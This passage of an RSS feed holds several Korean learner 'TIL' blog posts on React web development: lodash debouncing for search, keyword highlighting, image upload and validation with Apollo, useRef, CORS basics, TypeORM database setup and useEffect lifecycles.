<p>이를 해결하기 위해서는 <strong>디바운싱</strong>을 활용하면 된다! </p>
<br/>

<h4 id="디바운싱-쓰로틀링">디바운싱, 쓰로틀링</h4>
<br/>

<p><span style="color: red"><strong>디바운싱</strong></span>이란, 연이어 발생한 이벤트를 하나의 그룹으로 묶어서 처리하는 방식이다. 마지막 호출이 발생한 후에 일정 시간이 지날 때까지 추가 입력이 없을 때 실행된다. </p>
<p><span style="color: red"><strong>쓰로틀링</strong></span>은 연이어 발생한 이벤트에 대해 일정한 <strong>delay</strong>를 포함시켜서 연속적으로 발생하는 이벤트는 무시하는 방식으로 사용된다. 쓰로틀링은 <strong>무한스크롤</strong>에 주로 쓰인다. 특정시간 이내에 추가 스크롤이 이루어져도 추가적인 refetch는 실행되지 않는다.</p>
<blockquote>
<p><strong>디바운싱</strong>: 특정 시간 이내, 추가 입력 없을 시, 마지막 1회만 실행
<strong>쓰로틀링</strong>: 특정 시간 이내, 추가 입력 있어도, 처음 1회만 실행</p>
</blockquote>
<p>디바운싱의 예를 들면, &quot;철수&quot;라고 검색했을 때, &quot;철수&quot;를 입력하고 특정 시간동안 추가 입력이 없다면, 그때 refetch를 실행한다. </p>
<p>디바운싱과 쓰로틀링은 <strong>lodash</strong>에 라이브러리가 있어서, 이를 활용해서 검색 버튼 없이 입력창에 키워드 입력 시 바로 검색이 되도록 했다. 방법은 다음과 같다.</p>
<br/>

<ol>
<li><code>lodash</code> 설치해서, import 해주기</li>
</ol>
<pre><code class="language-javascript">yarn add lodash
yarn add --Dev @types/lodash // 타입스크립트 사용 시 추가 설치 필요

import _ from &quot;lodash&quot;;</code></pre>
<br/>

<ol start="2">
<li><code>getDebounce</code> 만들어주기</li>
</ol>
<pre><code class="language-javascript">const getDebounce = _.debounce((value) =&gt; {
    // onChangeSearch 실행되었을 때, event.currentTarget.value 값이 value 자리로 들어오게 됨.
    void refetch({ search: value, page: 1 });
  // 입력값(value)를 바로 search 해주면 된다. search state 필요 없음!
  }, 500); // debounce 추가 입력이 있는지 측정하는 시간</code></pre>
<br/>

<ol start="3">
<li>onChangeSearch 함수가 실행되었을 때(검색어 입력 시), getDebounce에 <code>event.currentTarget.value</code> 값 넣어주기(입력된 검색어 디바운싱되도록 함)</li>
</ol>
<pre><code class="language-javascript">const onChangeSearch = (event: ChangeEvent&lt;HTMLInputElement&gt;): void =&gt; {
    getDebounce(event.currentTarget.value);
  };</code></pre>
<br/>

<h3 id="검색-키워드-색상-변경-실습">검색 키워드 색상 변경 실습</h3>
<p>검색한 키워드만 <strong>색상</strong>이 바뀌어서 결과가 나오도록 하고 싶을 때에는 어떻게 해야할까?</p>
<br/>

<ol>
<li><code>시크릿 코드</code>를 사용해서 검색 키워드와, 키워드가 아닌 구간으로 나눈다. </li>
</ol>
<pre><code class="language-javascript">&quot;철수가 점심을 먹었다&quot;.replace(&quot;철수&quot;, &quot;@#$철수@#$&quot;)
// &#39;@#$철수@#$가 점심을 먹었다&#39;

&quot;철수가 점심을 먹었다&quot;.replace(&quot;철수&quot;, &quot;@#$철수@#$&quot;).split(&quot;@#$&quot;)
// [&#39;&#39;, &#39;철수&#39;, &#39;가 점심을 먹었다&#39;]</code></pre>
<Br/>

<ol start="2">
<li>keyword <strong>state</strong> 만들어준다.</li>
</ol>
<pre><code class="language-javascript">const [keyword, setKeyword] = useState(&quot;&quot;);</code></pre>
<Br/>

<ol start="3">
<li>getDebounce 함수 안에서 입력값을 keyword의 변경값(setKeyword)으로 넣어준다.</li>
</ol>
<pre><code class="language-javascript">setKeyword(value);</code></pre>
<br/>

<ol start="4">
<li>title을 검색 키워드와, 키워드가 아닌 구간으로 나눠서, 색상을 다르게 설정해준다.</li>
</ol>
<pre><code class="language-javascript">&lt;span style={{ margin: &quot;10px&quot; }}&gt;
            {el.title
              .replaceAll(keyword, `@#$${keyword}@#$`)
              // 한 문장에 keyword가 여러 번 나올 수도 있으니까 replace 대신 replaceAll 사용 //
              .split(&quot;@#$&quot;)
              .map((el) =&gt; (
                &lt;span
                  key={uuidv4()} // el._id를 사용할 수 없기 때문에 uuid 사용. 성능최적화 면에서는 좋지 않은 방법..
                  style={{ color: el === keyword ? &quot;red&quot; : &quot;black&quot; }}
                &gt;
                  {el}
                &lt;/span&gt;
              ))}
          &lt;/span&gt;</code></pre>
<br/>

<p>오늘은 검색기능에 대해 공부했다. 가장 베이직한 검색 기능부터 배워봤는데, 그러면 꼭 검색 키워드가 포함되지 않아도 관련된 유사한 데이터들이 검색되는 경우도 많은데 이러한 경우에는 프론트엔드에서는 어떻게 브라우저에 구현하는 건지 궁금했다. 아마 훨씬 복잡한 로직이겠지..? 가면 갈수록 백엔드가 전달하는 데이터를 활용하는 범위가 늘어나는 것 같아서 뿌듯하다!</p>
<Br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 19일차: Storage, 이미지 업로드, useRef, label & htmlFor]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-19%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-19%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sat, 22 Apr 2023 12:43:17 GMT</pubDate>
            <description><![CDATA[<h2 id="이미지-프로세스-이해">이미지 프로세스 이해</h2>
<p>오늘은 이미지를 저장하고 불러오는 과정에 대해 공부했다.</p>
<h3 id="storage">Storage</h3>
<p>이미지는 <code>스토리지 컴퓨터</code>라는 컴퓨터에 따로 저장한다. 스토리지는 여러 컴퓨터들을 연결시켜 놓은 <strong>큰 용량</strong>을 담을 수 있는 데이터베이스다. </p>
<p><code>스토리지</code>는 비용이 많이 들기 때문에 스토리지를 제공(cloud provider)하는 <strong>클라우드 제공업체</strong>(ex. AWS, GCP, Azure...)가 등장했다. </p>
<br/>

<h3 id="이미지-업로드">이미지 업로드</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/69297a37-32ac-48c7-8ab5-7c442289e7d1/image.png" alt=""></p>
<p>브라우저에서 api를 요청할 경우 <strong>이미지 주소</strong>를 백엔드로 보내고, 백엔드는 파일을 스토리지 컴퓨터로 보낸다. 그리고 스토리지 컴퓨터에서 <strong>주소</strong>를 다시 <strong>문자열</strong>로 받아와서 데이터베이스에 저장하게 된다. </p>
<br/>

<h3 id="이미지-조회">이미지 조회</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/23587903-4e9f-4ddb-a892-d5c161e800af/image.png" alt=""></p>
<p>데이터베이스 안에 있는 이미지의 <strong>주소</strong>를 받아와서 img tag에 넣어주면, 해당 스토리지에 접속해서 이미지(파일)를 다운로드 받아온다. </p>
<br />

<blockquote>
<p><strong>참고!</strong> 이미지를 크게 확대해보면 픽셀이 하나하나 모여있는 것을 볼 수 있다. 픽셀 한 칸은 빛의 3원색(RGB)를 섞어서 만들어졌다. 각 픽셀은 3가지 숫자로 구성된다.</p>
<blockquote>
<p><strong>R</strong>(0<del>255)
<strong>G</strong>(0</del>255)
<strong>B</strong>(0~255)</p>
</blockquote>
</blockquote>
<br />

<h2 id="이미지-업로드-실습">이미지 업로드 실습</h2>
<br/>

<h3 id="아폴로-업로드-라이브러리-설치-및-세팅">아폴로 업로드 라이브러리 설치 및 세팅</h3>
<ol>
<li>url을 가지고 오기위한 라이브러리로 <code>createUploadLink</code>를 설치<blockquote>
<p>yarn add apollo-upload-client
yarn add --dev @types/apollo-upload-client </p>
</blockquote>
</li>
</ol>
<br/>

<ol start="2">
<li>app.tsx 세팅</li>
</ol>
<pre><code class="language-javascript">// createUploadLink import 
import {createUploadLink} from &quot;apollo-upload-client&quot;

// 함수 만들기
const uplodLink = createUploadLink({
        uri : &quot;백엔드 주소&quot;
    })

const client = new ApolloClient({
        link : ApolloLink.from([uplodLink]),
        cache : new inMemoryCache(),
    })</code></pre>
<br />

<h3 id="파일-업로드할-화면-그리기">파일 업로드할 화면 그리기</h3>
<pre><code class="language-javascript">// 이미지 업로드 api 사용을 위한 쿼리 작성
const UPLOAD_FILE = gql`
  mutation uploadFile($file: Upload!) {
    uploadFile(file: $file) {
      url
    }
  }
`;

export default function ImageUploadPage(): JSX.Element {
  const [imageUrl, setImageUrl] = useState(&quot;&quot;);
  const [uploadFile] = useMutation&lt;
    Pick&lt;IMutation, &quot;uploadFile&quot;&gt;,
    IMutationUploadFileArgs
  &gt;(UPLOAD_FILE);

  // 이미지 업로드 함수
  const onChangeFile = async (
    event: ChangeEvent&lt;HTMLInputElement&gt;
  ): Promise&lt;void&gt; =&gt; {
    const file = event.target.files?.[0]; 
    // 배열을 받아오는 이유: &lt;input type=&quot;file&quot; multiple/&gt;일때, 여러 개 업로드 가능하기 때문!
    const result = await uploadFile({ variables: { file } })
    setImageUrl(result.data?.uploadFile.url ?? &quot;&quot;);
  };

  return (
    &lt;&gt;
    // input type file로 지정
      &lt;input onChange={onChangeFile} type=&quot;file&quot; /&gt;
      &lt;img src={`https://storage.googleapis.com/${imageUrl}`} /&gt;
    &lt;/&gt;
  );</code></pre>
<blockquote>
<p>이미지를 보내고, url을 받아오는 과정</p>
</blockquote>
<ol>
<li><code>onChange</code>를 통해 이미지 파일을 가지고 와 file에 넣어줌</li>
<li><strong>file</strong>을 <code>variables</code>에 넣어 uploadFile api 요청</li>
<li>이미지가 정해둔 <strong>storage</strong>에 들어가고, 해당 storage에서 url 반환 받아옴</li>
</ol>
<h5 id="참고-해당-url의-이미지를-보고-싶다면-저장해둔-스토리지-주소-뒤에-이미지-url을-적으면-된다">참고! 해당 url의 이미지를 보고 싶다면, 저장해둔 스토리지 주소 뒤에 이미지 url을 적으면 된다!</h5>
<br/>

<h3 id="이미지를-게시글에-등록하기">이미지를 게시글에 등록하기</h3>
<br/>

<h4 id="html-기본-file-태그-숨기기">HTMl 기본 file 태그 숨기기</h4>
<p>기본 input tag는 예쁘지 않다.. 좀 더 예쁘게 UI를 개선하기 위해서는 <code>input</code> 태그를 숨기고 다음의 2가지 방법 중 상황에 맞는 방식을 활용하면 된다!</p>
<br/>

<h4 id="useref-활용하기">useRef 활용하기</h4>
<p>우리가 HTML 태그를 선택할 때는 getElementId를 사용했다. react에서는 HTML 태그에 접근하기 위해 <span style="color: red"><strong>useRef</strong></span>를 사용한다. </p>
<pre><code class="language-javascript">// useRef import
import { useRef } from &#39;react&#39;;

export default function ImageRefPage(): JSX.Element {
  // ref 기본 설정
  // fileRef를 input 태그에 연결해주면 해당 태그는 fileRef로 불러서 사용 가능!
    const fileRef = useRef&lt;HTMLInputElement&gt;(null);
}

return (
  &lt;&gt;
&lt;input
  style={{ display: &quot;none&quot; }}
  onChange={onChangeFile}
  type=&quot;file&quot;
// input 태그를 fileRef를 이용해 사용 가능
  ref={fileRef}
/&gt;
&lt;/&gt;
)</code></pre>
<br/>

<p>이제 useRef의 기능 중 <code>current</code>를 사용해서 current 안에 click이라는 기능을 onClickImage 함수에 넣어준다. <strong>current</strong>는 fileRef에 들어온 태그를 뜻하고, 그 태그를 <strong>click</strong>하겠다는 기능이다!</p>
<pre><code class="language-javascript">const onClickImage = (): void =&gt; {
    // 기존 방식: document.getElementById(&quot;파일태그ID&quot;)?.click();
    fileRef.current?.click();
  };</code></pre>
<br/>

<p>이제 <code>button</code> tag를 만들어 onClickImage 함수와 바인딩시켜주면 된다. 이렇게 하면 button을 클릭했을 때 <code>fileRef.current.click()</code>이 실행되고, 우리가 useRef에 넣어두었던 <strong>input</strong> 태그를 클릭한 것과 동일한 결과가 실행된다!</p>
<pre><code class="language-JSX">&lt;button onClick={onClickImage}&gt;이미지 등록 버튼&lt;/button&gt;</code></pre>
<br/>

<p>이제 img 태그에도 onClickImage 함수를 바인딩하고, input 태그의 속성으로 <code>hidden</code>을 넣어서 input 태그는 브라우저에 나타나지 않도록 하고, <strong>img</strong>와 <strong>button</strong>을 클릭했을 때 <code>input type=file</code> 을 클릭한 것과 동일한 결과를 볼 수 있다.</p>
<pre><code class="language-JSX">return (
        &lt;&gt;
            &lt;div&gt;
                &lt;img onClick={onClickImage} style={{ width: &#39;500px&#39; }} id=&quot;image&quot; /&gt;
                &lt;input
                    hidden={true}
                    ref={fileRef}
                    type=&quot;file&quot;
                    onChange={readImage}
                &gt;&lt;/input&gt;
                &lt;button onClick={onClickImage}&gt;이미지 등록 버튼&lt;/button&gt;
            &lt;/div&gt;
        &lt;/&gt;
    );</code></pre>
<br/>

<h4 id="label-태그와-htmlfor">label 태그와 htmlFor</h4>
<p><strong>useRef</strong> 외에 input 태그를 숨기고 UI를 개선하는 방법은 <code>label</code> 태그를 이용하는 것이다. </p>
<p>label 태그에는 <code>htmlFor</code> 이라는 속성이 있다. htmlFor에 값을 넣으면 값과 똑같은 <strong>id</strong>를 찾아서 그 태그의 기능과 연결해준다.</p>
<p>아래 코드와 같이 사용할 수 있다.</p>
<pre><code class="language-JSX">&lt;div&gt;
    &lt;label htmlFor=&quot;fileTag&quot;&gt;이거 눌러도 실행돼요!&lt;/label&gt;
    &lt;img style={{ width: &#39;500px&#39; }} id=&quot;image&quot; /&gt;
    &lt;input id=&quot;fileTag&quot; type=&quot;file&quot; onChange={readImage}&gt;&lt;/input&gt;
&lt;/div&gt;</code></pre>
<br/>

<p>이제 label 태그를 우리가 원하는 예쁜 디자인으로 바꾸고, 기존 input 태그는 안 보이도록 CSS를 작업하면 된다.</p>
<p><br/><br/></p>
<h2 id="image-validation">image validation</h2>
<p>이미지를 업로드할 때 <strong>용량</strong>을 제한하거나 파일 <strong>확장자</strong>를 제한 및 검증하는 과정이 필요할 때에는 어떻게 해야 할까? </p>
<br/>

<h3 id="이미지-유무와-사이즈-검증">이미지 유무와 사이즈 검증</h3>
<pre><code class="language-javascript">const onChangeFile = async (
    event: ChangeEvent&lt;HTMLInputElement&gt;
  ): Promise&lt;void&gt; =&gt; {
    const file = event.target.files?.[0];

        // 검증 로직
    if (typeof file === &quot;undefined&quot;) {
      alert(&quot;파일이 없습니다.&quot;);
      return;
    }
  // 이미지 사이즈 5MB 이하로 제한
    if (file.size &gt; 5 * 1024 * 1024) { 
      alert(&quot;파일 용량이 너무 큽니다.(제한: 5MB)&quot;);
      return;
    }

        // API 호출 
    const result = await uploadFile({ variables: { file } });
    setImageUrl(result.data?.uploadFile.url ?? &quot;&quot;);
  };</code></pre>
<br/>

<h3 id="이미지-확장자-검증">이미지 확장자 검증</h3>
<h4 id="첫-번째-방법">첫 번째 방법</h4>
<p>사진 선택 시 호출되는 함수에서 검증하는 방법이 있다.</p>
<pre><code class="language-javascript">const onChangeFile = async (
    event: ChangeEvent&lt;HTMLInputElement&gt;
  ): Promise&lt;void&gt; =&gt; {
    const file = event.target.files?.[0];

        ~~~    // 기타 검증 로직 생략

    if (!file.type.includes(&quot;jpeg&quot;) &amp;&amp; !file.type.includes(&quot;png&quot;)) {
      alert(&quot;jpeg 또는 png 파일만 업로드 가능합니다.&quot;);
      return;
    }

        ~~~ // API 호출 로직 생략

  };</code></pre>
<br/>

<h4 id="두-번째-방법">두 번째 방법</h4>
<p>input 태그의 <code>accept</code> 속성 활용하는 방법도 있다.</p>
<pre><code class="language-JSX">&lt;input
  style={{ display: &quot;none&quot; }}
  onChange={onChangeFile}
  type=&quot;file&quot;
  ref={fileRef}
  accept=&quot;image/jpeg,image/png&quot; 
  // 띄어쓰기 없이 콤마(,)를 기준으로 작성
  // accept를 추가하면 지정되지 않은 확장자는 선택 불가
/&gt;</code></pre>
<br/>

<p>이미지 검증 로직은 따로 <strong>컴포넌트</strong>로 분리하면 import만 해서 편리하게 사용할 수 있다!</p>
<p><br/><br/></p>
<h2 id="컴퓨터에서의-숫자">컴퓨터에서의 숫자</h2>
<br/>

<p>위에서 이미지 용량을 5MB로 제한할 때, <strong>5MB</strong>를 다음과 같이 나타내줬다. </p>
<pre><code class="language-javascript">5 * 1024 * 1024</code></pre>
<br/>

<p>용량을 코드로 작성할 때에는 아래 그림을 참고해서 위의 코드와 같이 나타내주면 된다!</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/ba735952-e6ac-4fb0-a7ea-2f47d8e373e8/image.png" alt=""></p>
<br/>


]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 17일차: CORS, 데이터베이스 기초, DBeaver 실습]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-17%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-17%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 19 Apr 2023 13:11:01 GMT</pubDate>
            <description><![CDATA[<h2 id="cors">CORS</h2>
<br/>

<p> CORS가 등장하기 전에는 <strong>SOP(Same Origin Policy)</strong> 정책이 먼저 있었다. 예를 들어, 네이버 브라우저의 api 요청과 그에 따른 응답은 네이버 백엔드에서만 보낼 수 있고, 다움 브라우저는 다움 백엔드에서만 보낼 수 있었다. </p>
<p>그러다가 다움에서도 네이버의 백엔드에 api 요청할 수 있도록 하자! 해서 나온 것이 <code>CORS</code>(Cross Origin Resource Sharing)다. </p>
<br/>

<p>preflight(api 요청 보내기 전에 미리 요청 보내보는 것)를 보내면, 백엔드에서는 데이터를 보내줘도 되는지, 안되는지 검사를 하고 알려주게 된다. </p>
<p>백엔드에서 CORS 배열에 데이터를 보내줘도 되는 브라우저를 명시해놓고, 검사 후에 CORS 허용 혹은 거절을 보낸다. </p>
<br/>

<p><strong>CORS</strong>가 <strong>거절</strong>된 경우, 어떻게 해야 할까?</p>
<p>다른 백엔드로 우회해서 원래 api 요청을 보내려던 백엔드로 접근할 수 있다. 이때 브라우저와 백엔드 사이에서 데이터를 주고 받아주는 대리인 역할을 하는 서버를 <code>프록시서버(proxy)</code>라고 한다.</p>
<p>그 외에 모바일로 api 요청을 보내는 방법도 있다. 이 경우 브라우저와 다르게 백엔드 컴퓨터와 데이터를 바로 주고받을 수 있다.</p>
<br/>

<p>그러면 다 우회하면 될텐데 왜 굳이 <code>CORS 정책</code>이 있는걸까? 바로 브라우저를 보호하기 위해서다! </p>
<p>브라우저가 로그인을 하면, 백엔드에서 검증 후 브라우저에 <strong>로그인증표</strong>를 보내게 되고, 브라우저의 <strong>쿠키</strong>라는 곳에 로그인증표를 저장해놓는다. </p>
<p>쿠키에 누구한테서 데이터를 받아왔는지 저장되어 있고, 로그인증표가 저장되어 있는 상태에서 로그인증표를 받았던 백엔드에 다시 api를 요청할 수 있다. </p>
<p>따라서 신뢰할 수 있는 사이트만을 <strong>CORS 허용</strong>해줄 수 있다. 원래 브라우저와 똑같이 생긴 해킹 사이트가 접속을 시도하는 것을 막아줄 수 있는 것이다! </p>
<br/>

<h2 id="백엔드와-데이터베이스">백엔드와 데이터베이스</h2>
<br/>

<h3 id="서비스-전체-구조-이해">서비스 전체 구조 이해</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/103d682e-de76-438e-b54c-3cc158a91d7e/image.png" alt=""></p>
<br/>

<h3 id="database">database</h3>
<p>데이터베이스란 데이터를 담아두는 저장소이다. 데이터를 담아두는 방식에는 크게 2가지가 있다.</p>
<blockquote>
<p><span style="color:red"><strong>SQL(표 방식)</strong></span>: Oracle, MySQL, Postgresql..
<span style="color:red"><strong>NoSQL(서류 방식)</strong></span>: MongoDB, Redis, Firebase..</p>
</blockquote>
<br/>

<p><img src="https://velog.velcdn.com/images/code_june/post/d686d938-54d1-4314-9df9-320dad31d362/image.png" alt=""></p>
<h4 id="span-stylecolororangesql-방식span"><span style="color:orange">SQL 방식</span></h4>
<p>SQL 방식은 NoSQL 방식과 달리 표 사이에 관계성을 부여할 수 있다. 관계성을 부여하는 데이터베이스를 <code>관계형 데이터 베이스</code>라고 한다. 통신을 도와주는 툴로 <strong>ORM</strong>(Object Relation Mapping)을 사용한다.</p>
<br/>

<h4 id="span-stylecolororangenosql-방식span"><span style="color:orange">NoSQL 방식</span></h4>
<p>NoSQL 방식은 서류 봉투에 document를 모아두는 방식이다. 여기서 서류 봉투를 <code>컬렉션</code>이라고 부르고, 통신을 도와주는 툴로 <strong>ODM</strong>(Object Document Mapping)을 사용한다.</p>
<br/>

<h3 id="db-관리-프로그램">DB 관리 프로그램</h3>
<p>DB 관리 프로그램에는 DBeaver, MySQL webpack 등이 있다. 수업에서는 DBeaver를 사용했다. </p>
<p><br/><br/></p>
<h2 id="백엔드-서버-구축-실습">백엔드 서버 구축 실습</h2>
<br/>

<p>실습할 내용은 다음과 같다.</p>
<blockquote>
<p>ORM을 설치해서 ORM을 통해 DB와 연결.
JS에 백엔드 테이블 구조를 class 형태로 만들어줌.
해당하는 class를 넣으면 DB에 Board table이 만들어짐.
DB 관리 프로그램을 통해 DB에 테이블이 잘 만들어져 있는지 확인.</p>
</blockquote>
<br/>

<h3 id="nodejs">Node.js</h3>
<p>원래 자바스크립트는 개발을 하고, 브라우저에서만 실행시킬 수 있었는데, <code>node.js</code>가 나오면서 브라우저를 <strong>켜지 않고</strong> 실행시킬 수 있는 방법이 생겼다.</p>
<br/>

<h4 id="실행시키는-방법">실행시키는 방법</h4>
<blockquote>
<ol>
<li>확장자 js로 파일 만들기</li>
<li>코드 작성</li>
<li>터미널에 node 파일 입력해서 파일 실행시키기</li>
</ol>
</blockquote>
<br/>

<h4 id="nodejs에서-타입스크립트-실행하기">Node.js에서 타입스크립트 실행하기</h4>
<ol>
<li><p>ts/tsx 확장자 파일 만들기</p>
</li>
<li><p>typescript 설치 및 설정</p>
<blockquote>
<p>yarn add --dev typescript</p>
</blockquote>
</li>
<li><p>ts-node(타입스크립트 실행프로그램) 설치</p>
<blockquote>
<p>yarn add ts-node</p>
</blockquote>
</li>
<li><p>package.json에 파일 실행 명령어 추가 후 명령어를 터미널에 입력(yarn 명령어)</p>
</li>
</ol>
<pre><code class="language-javascript">&quot;scripts&quot;: {
    &quot;명령어&quot;: &quot;ts-node index.ts&quot;
  },</code></pre>
<br/>

<h3 id="프로젝트와-데이터-베이스-연결실습">프로젝트와 데이터 베이스 연결실습</h3>
<p><code>typeORM</code>을 이용해서 데이터베이스와 백엔드를 연결할 수 있다.</p>
<h4 id="typeorm-설치">typeORM 설치</h4>
<blockquote>
<p>yarn add typeorm
yarn add pg(typeorm이 postgres와 연결하기 쉽게 도와주는 라이브러리)</p>
</blockquote>
<br/>

<h4 id="데이터베이스와-백엔드-연결해주기">데이터베이스와 백엔드 연결해주기</h4>
<pre><code class="language-javascript">import { DataSource } from &quot;typeorm&quot;;
import { Board } from &quot;./Board.postgres&quot;;

const AppDataSource = new DataSource({
  type: &quot;postgres&quot;,
  host: &quot;DB가 있는 컴퓨터의 IP 주소&quot;,
  port: DB가 있는 컴퓨터의 port number,
  username: &quot;postgres&quot;,
  password: &quot;password&quot;,
  database: &quot;postgres&quot;,
  entities: [Board], // entities의 파일경로
  synchronize: true, 
  logging: true, 
});

AppDataSource.initialize()
  .then(() =&gt; {
    console.log(&quot;연결 성공!&quot;);
  })
  .catch((error) =&gt; console.log(error, &quot;연결 실패!&quot;));</code></pre>
<br/>

<h4 id="entity-만들기">entity 만들기</h4>
<p>Board.postgres.ts 파일을 만들고, <code>entity</code>를 만드는 코드를 작성했다.</p>
<pre><code class="language-javascript">// entities 만들어주기 _ 새로운 타입스크립트파일 만들기
import { BaseEntity, Column, Entity, PrimaryGeneratedColumn } from &quot;typeorm&quot;;

// @ -&gt; 데코레이터(typeORM에게 테이블임을 알려줌. 데코레이터는 함수)
 @Entity() 
    export class Board extends BaseEntity {

        // primaryGenerateColumn: 자동으로 생성되는 번호        
            @primaryGenerateColumn(’increment’) 
            number!: number;

            @column({type : “text”})
            wrtier!: string;

          @Column({ type: &quot;text&quot; })
          title!: string;

          @Column({ type: &quot;text&quot; })
          contents!: string;

}</code></pre>
<br/>

<p>여기서 데코레이터의 타입을 <strong>tsconfig.json</strong>에서 설정해줘야 한다.</p>
<blockquote>
<p><strong>&quot;experimentalDecorators&quot;: true</strong></p>
</blockquote>
<h3 id="dbeaver-연동">DBeaver 연동</h3>
<ol>
<li><p>좌측 상단 플러그 모양 클릭</p>
</li>
<li><p>postgreSQL 선택</p>
</li>
<li><p>Host 부분에 localhost 대신 백엔드 주소 입력</p>
</li>
<li><p>모두 입력 후 test connection 클릭(파란색 뜨면 완료된 것이므로 완료 누르기)</p>
</li>
</ol>
<p>이렇게 하면 DB에 테이블이 잘 만들어진 것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 16일차: class형 컴포넌트, 컴포넌트 생명주기, open-API]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-16%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-16%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 19 Apr 2023 00:27:53 GMT</pubDate>
            <description><![CDATA[<h2 id="span-stylecolor-orangeclass형-컴포넌트span"><span style="color: orange">class형 컴포넌트</span></h2>
<br/>

<h3 id="class란">class란?</h3>
<p><code>class</code>란 물건을 만드는 설명서라고 보면 된다. class 안에 <strong>변수</strong>나 <strong>함수</strong>를 넣을 수 있다. </p>
<pre><code class="language-javascript">const date = new Date()
// date는 객체(instance)

    date.getFullYear()
    date.getMonth()
    date.getDate()</code></pre>
<p>위의 코드에서 getFullYear, getMonth, getDate는 <code>메서드</code>라고 한다. new Date()는 내장객체이다. </p>
<br/>

<p><strong>클래스형</strong>으로 바꾸면 다음과 같다. </p>
<pre><code class="language-javascript">class Date {
  getFullYear(){
    // 연도 추출 가능
  }
  getMonth(){
    // 월 추출 가능
  } 
  getDate(){
    // 일 추출 가능
  }
}</code></pre>
<p>클래스에서 함수와 변수를 사용할때는 function, let, const를 붙이지 않는다. 또한, 유사한 것들을 하나의 class에 모아서 그룹핑할 수 있다. 객체 형태로 그룹핑해서 사용하는 것을 <code>객체지향프로그래밍</code>(OOP: Objective Oriented Programming)이라고 한다.</p>
<br/>

<h2 id="span-stylecolor-orangeclass-컴포넌트-생명주기life-cyclespan"><span style="color: orange">class 컴포넌트 생명주기(life cycle)</span></h2>
<p><code>컴포넌트의 생명주기</code>란, 컴포넌트가 브라우저에 나타나고 업데이트 되고, 사라지게 될 때 호출되는 method이다. </p>
<blockquote>
<ol>
<li>그리기 -&gt; <strong>render</strong></li>
<li>그리고 난 뒤 -&gt; <strong>componentDidMount</strong></li>
<li>그리고 난 뒤 변경됐을 때 -&gt; <strong>componentDidUpdate</strong></li>
<li>그리고 난 뒤 사라질 때 -&gt; <strong>componentWillUnmount</strong></li>
</ol>
</blockquote>
<p>예를 들어, input창에 있는 포커스를 깜빡깜빡거리게 하고 싶다면, 인풋창을 그리고 난 뒤에 <strong>componentDidMount</strong> 메서드를 사용해서 포커스가 깜빡깜빡거리게 하면 된다.</p>
<br/>

<h2 id="함수형-컴포넌트의-생명주기-hook-span-stylecolor-orangeuseeffectspan">함수형 컴포넌트의 생명주기 hook: <span style="color: orange">useEffect</span></h2>
<p>함수형 컴포넌트의 생명주기관련 hook으로는 <code>useEffect</code>가 있다. useEffect하나로 class 컴포넌트 생명주기에 따른 함수들을 유사하게 구현할 수 있다.</p>
<p>useEffect는 기본적으로 <strong>렌더(화면그리기) 이후</strong>에 실행된다.  </p>
<br/>

<h3 id="componentdidmount">componentDidMount</h3>
<pre><code class="language-javascript">// 의존성 배열[]에 아무것도 넣지 않으면 Mount시에만 렌더해주고 끝나게 됨(1번만 실행)

useEffect(()=&gt;{
        console.log(&quot;마운트 됨!!&quot;)
    },[])</code></pre>
<br/>

<h3 id="componentdidupdate">componentDidUpdate</h3>
<pre><code class="language-javascript">// 의존성 배열이 없기 때문에 뭐 하나라도 바뀌면 무조건 다시 실행
useEffect(()=&gt;{
        console.log(&quot;수정하고 다시 그려짐!!&quot;)
    })


// someState가 수정될때만 리렌더 해주기
useEffect(()=&gt;{
        console.log(&quot;수정하고 다시 그려짐!!&quot;)
    },[someState])</code></pre>
<h4 id="componentdidupdate와-비슷하지만-다른-점은-mount-됐을-때도-한번-실행된다는-점이다">*componentDidUpdate와 비슷하지만 다른 점은, Mount 됐을 때도 한번 실행된다는 점이다!</h4>
<br/>

<h3 id="componentwillunmount">componentWillUnmount</h3>
<pre><code class="language-javascript">useEffect(()=&gt;{
        console.log(&quot;수정하고 다시 그려짐!!&quot;)

        //이부분이 끝나고 진행할 것들
        return(()=&gt;{
            console.log(&quot;여기서 나갈래요!!&quot;)
        })

    })</code></pre>
<br/>

<h3 id="의존성-배열의-중요성">의존성 배열의 중요성!</h3>
<p>useEffect를 사용할 때 <code>의존성 배열</code>을 적어주지 않고, return도 적어주지 않았다면 <strong>무한렌더</strong>가 발생하게 된다. </p>
<p>또한, useEffect는 의존성 배열 <strong>인자</strong>에 따라 렌더가 달라지기 때문에 의존성 배열을 잘 다뤄야 한다. 즉, 의존성 배열이 함수형 컴포넌트의 생명주기를 결정하는 포인트다!</p>
<br/>

<h3 id="useeffect-사용시-주의사항">useEffect 사용시 주의사항</h3>
<p>useEffect 안에서는 가급적 <code>setState</code>를 사용하지 않는 것이 좋다. 컴포넌트가 마운트된 이후에 setState를 적용하면, state가 변경되고 변경된 state로 컴포넌트가 다시 그려지게(리랜더) 된다.</p>
<p>다시 말해, useEffect 내에서 <code>setState</code>를 사용하면 불필요한 <strong>리렌더</strong>나 <strong>무한루프</strong>가 발생하고, 성능면에서 비효율적이게 된다.</p>
<br/>
<br/>

<h2 id="무료로-제공되는-api-open-api">무료로 제공되는 API: open-API</h2>
<br/>

<p><code>open-api</code> 또는 <code>public api</code>는 누구든지 쓸 수 있도록 <strong>공개된 API</strong>를 말한다. 예를 들면, 동물 이미지, 날씨 정보, 바이러스 정보, 금융 정보 등 여러 정보들을 API를 통해 무료로 데이터를 사용할 수 있다. </p>
